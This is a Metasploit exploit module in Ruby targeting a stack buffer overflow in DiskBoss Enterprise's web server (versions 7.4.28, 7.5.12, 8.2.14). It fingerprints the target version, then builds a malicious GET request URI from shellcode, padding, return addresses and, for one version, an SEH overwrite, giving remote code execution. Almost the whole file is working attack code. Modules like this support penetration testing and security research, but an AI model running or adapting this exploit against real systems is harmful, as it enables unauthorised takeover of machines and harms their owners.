DiskBoss Enterprise GET Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Seh
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'DiskBoss Enterprise GET Buffer Overflow',
        'Description' => %q{
          This module exploits a stack-based buffer overflow vulnerability
          in the web interface of DiskBoss Enterprise v7.5.12, v7.4.28, and v8.2.14,
          caused by improper bounds checking of the request path in HTTP GET
          requests sent to the built-in web server. This module has been
          tested successfully on Windows XP SP3 and Windows 7 SP1.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'vportal', # Vulnerability discovery and PoC
          'Ahmad Mahfouz',  # Vulnerability discovery and PoC
          'Gabor Seljan',   # Metasploit module
          'Jacob Robles'    # Metasploit module
        ],
        'References' => [
          ['CVE', '2025-34105'],
          ['EDB', '40869'],
          ['EDB', '42395']
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Platform' => 'win',
        'Payload' => {
          'BadChars' => "\x00\x09\x0a\x0d\x20",
          'Space' => 2000
        },
        'Targets' => [
          [
            'Automatic Targeting',
            {
              'auto' => true
            }
          ],
          [
            'DiskBoss Enterprise v7.4.28',
            {
              'Offset' => 2471,
              'Ret' => 0x1004605c  # ADD ESP,0x68 # RETN [libpal.dll]
            }
          ],
          [
            'DiskBoss Enterprise v7.5.12',
            {
              'Offset' => 2471,
              'Ret' => 0x100461da  # ADD ESP,0x68 # RETN [libpal.dll]
            }
          ],
          [
            'DiskBoss Enterprise v8.2.14',
            {
              'Offset' => 2496,
              'Ret' => 0x1002A8CA  # SEH : # POP EDI # POP ESI # RET 04 [libpal.dll]
            }
          ]
        ],
        'Privileged' => true,
        'DisclosureDate' => '2016-12-05',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/'
    )

    if res && res.code == 200
      if res.body =~ /DiskBoss Enterprise v(7\.4\.28|7\.5\.12|8\.2\.14)/
        return Exploit::CheckCode::Vulnerable('Target is vulnerable')
      elsif res.body =~ /DiskBoss Enterprise/
        return Exploit::CheckCode::Detected('Target service detected')
      end
    else
      vprint_error('Unable to determine due to a HTTP connection timeout')
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    Exploit::CheckCode::Safe('Target is not vulnerable')
  end

  def exploit
    mytarget = target

    if target['auto']
      mytarget = nil

      print_status('Automatically detecting the target...')

      res = send_request_cgi(
        'method' => 'GET',
        'uri' => '/'
      )

      if res && res.code == 200
        if res.body =~ /DiskBoss Enterprise v7\.4\.28/
          mytarget = targets[1]
        elsif res.body =~ /DiskBoss Enterprise v7\.5\.12/
          mytarget = targets[2]
        elsif res.body =~ /DiskBoss Enterprise v8\.2\.14/
          mytarget = targets[3]
        end
      end

      if !mytarget
        fail_with(Failure::NoTarget, 'No matching target')
      end

      print_status("Selected Target: #{mytarget.name}")
    end

    case mytarget
    when targets[1], targets[2]
      sploit = make_nops(21)
      sploit << payload.encoded
      sploit << rand_text_alpha(mytarget['Offset'] - payload.encoded.length)
      sploit << [mytarget.ret].pack('V')
      sploit << rand_text_alpha(2500)
    when targets[3]
      seh = generate_seh_record(mytarget.ret)
      sploit = payload.encoded
      sploit << rand_text_alpha(mytarget['Offset'] - payload.encoded.length)
      sploit[sploit.length, seh.length] = seh
      sploit << make_nops(10)
      sploit << Rex::Arch::X86.jmp(0xffffbf25) # JMP to ShellCode
      sploit << rand_text_alpha(5000 - sploit.length)
    else
      fail_with(Failure::NoTarget, 'No matching target')
    end

    send_request_cgi(
      'method' => 'GET',
      'uri' => sploit
    )
  end
end